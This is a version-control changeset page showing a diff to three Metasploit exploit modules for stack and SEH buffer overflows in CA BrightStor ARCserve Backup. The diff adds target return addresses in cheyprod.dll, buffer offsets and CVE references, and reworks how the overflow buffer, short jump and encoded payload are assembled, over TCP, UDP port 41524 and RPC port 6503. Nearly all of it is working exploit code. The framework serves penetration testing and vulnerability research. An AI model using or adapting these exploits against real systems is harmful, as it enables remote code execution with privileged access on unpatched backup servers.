Changeset 5471

Show
Ignore:
Timestamp:
04/09/08 08:04:15 (1 month ago)
Author:
patrickw
Message:

Updated targets for BrightStor?.

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/modules/exploits/windows/brightstor/discovery_tcp.rb

    r4498 r5471  
    1818 
    1919        include Exploit::Remote::Tcp 
    20         include Exploit::Remote::Seh 
     20        include Exploit::Seh 
    2121 
    2222        def initialize(info = {}) 
     
    3131                                This module is based on the 'cabrightstor_disco' exploit by 
    3232                                Thor Doomen. 
    33                                          
    3433                        }, 
    35                         'Author'         => [ 'hdm' ], 
     34                        'Author'         => [ 'hdm', 'patrick' ], 
    3635                        'License'        => MSF_LICENSE, 
    3736                        'Version'        => '$Revision$', 
     
    4140                                        [ 'BID', '12536'], 
    4241                                        [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'], 
    43                                         [ 'MIL', '15'], 
    44  
     42                                        [ 'URL', 'http://milw0rm.com/exploits/1131'], 
     43                                        [ 'CVE', '2005-2535'], 
    4544                                ], 
    4645                        'Privileged'     => true, 
     
    6059                                                }, 
    6160                                        ], 
     61                                        [ 
     62                                                'cheyprod.dll 07/21/2004', 
     63                                                { 
     64                                                        'Platform' => 'win', 
     65                                                        'Ret'      => 0x23805d10, # pop/pop/ret 
     66                                                }, 
     67                                        ],                                       
    6268                                ], 
    6369                        'DisclosureDate' => 'Feb 14 2005', 
     
    7177 
    7278        def check 
    73          
     79 
    7480                # The first request should have no reply 
    7581                csock = Rex::Socket::Tcp.create( 
  • framework3/trunk/modules/exploits/windows/brightstor/discovery_udp.rb

    r4419 r5471  
    11## 
    2 # $Id:
     2# $Id
    33## 
    44 
     
    2828                                request is sent to UDP port 41524, triggering a stack 
    2929                                overflow. 
    30                                          
    3130                        }, 
    32                         'Author'         => [ 'hdm' ], 
     31                        'Author'         => [ 'hdm', 'patrick' ], 
    3332                        'License'        => MSF_LICENSE, 
    34                         'Version'        => '$Revision$', 
     33                        'Version'        => '$Revision', 
    3534                        'References'     => 
    3635                                [ 
     
    3938                                        [ 'CVE', '2005-0260'], 
    4039                                        [ 'URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'], 
    41                                         [ 'MIL', '14'], 
    42  
    4340                                ], 
    4441                        'Privileged'     => true, 
     
    5653                                                        'Platform' => 'win', 
    5754                                                        'Ret'      => 0x23808eb0, # call to edi reg 
     55                                                        'Offset'   => 968, 
    5856                                                }, 
    5957                                        ], 
     58                                        [ 
     59                                                'cheyprod.dll 07/21/2004', 
     60                                                { 
     61                                                        'Platform' => 'win', 
     62                                                        'Ret'      => 0x2380a908, # call edi 
     63                                                        'Offset'   => 970, 
     64                                                }, 
     65                                        ],                                       
    6066                                ], 
    6167                        'DisclosureDate' => 'Dec 20 2004', 
     
    109115                print_status("Trying target #{target.name}...") 
    110116                                 
    111                 buf = 'X' * 4096 
     117                buf = rand_text_english(4096) 
    112118 
     119                # Target 0: 
     120                # 
    113121                # esp @ 971 
    114122                # ret @ 968 
    115123                # edi @ 1046 
    116                 # end = 4092            
     124                # end = 4092 
    117125         
    118                 buf[968, 4] = [ target.ret ].pack('V') 
     126                buf[target['Offset'], 4] = [ target.ret ].pack('V') 
    119127                buf[1046, payload.encoded.length] = payload.encoded 
    120128         
  • framework3/trunk/modules/exploits/windows/brightstor/message_engine.rb

    r4419 r5471  
    11## 
    2 # $Id:
     2# $Id
    33## 
    44 
     
    2424                        'Description'    => %q{ 
    2525                                This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup 
    26                                 11.5. By sending a specially crafted RPC request, an attacker could overflow the 
    27                                 buffer and execute arbitrary code.  
     26                                11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow 
     27                                the buffer and execute arbitrary code. 
    2828                        }, 
    29                         'Author'         => [ 'MC' ], 
     29                        'Author'         => [ 'MC', 'patrick' ], 
    3030                        'License'        => MSF_LICENSE, 
    3131                        'Version'        => '$Revision$', 
     
    3434                                        [ 'CVE', '2007-0169' ], 
    3535                                        [ 'BID', '22005' ], 
     36                                        [ 'OSVDB', '31319' ], # There is a lot of confusion 
    3637                                ], 
    3738                        'Privileged'     => true, 
     
    4950                        'Targets'  => 
    5051                                        [ 
    51                                                 [ 'BrightStor ARCserve r11.5',                  { 'Ret' => 0x2380ceb5 } ], 
    52                                                 [ 'BrightStor ARCserve r11.5 SP2',              { 'Ret' => 0x2380a47d } ], 
    53                                         ],       
     52                                                [ 'BrightStor ARCserve r11.1',          { 'Ret' => 0x23805d10 } ], #p/p/r cheyprod.dll 07/21/2004 
     53                                                [ 'BrightStor ARCserve r11.5',          { 'Ret' => 0x2380ceb5 } ], 
     54                                                [ 'BrightStor ARCserve r11.5 SP2',      { 'Ret' => 0x2380a47d } ], 
     55                                        ], 
    5456                        'DisclosureDate' => 'Jan 11 2007', 
    55                         'DefaultTarget' => 0)) 
     57                        'DefaultTarget' => 1)) 
    5658 
    5759                        register_options([ Opt::RPORT(6503) ], self.class)       
     
    6769                print_status("Bound to #{handle} ...") 
    6870 
    69                 filler =  rand_text_english(616) + "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V') 
     71                filler =  rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V') 
    7072 
    7173                sploit =  NDR.string(filler + payload.encoded + "\x00") + NDR.long(0)  
     
    8385 
    8486end 
    85 end     
     87end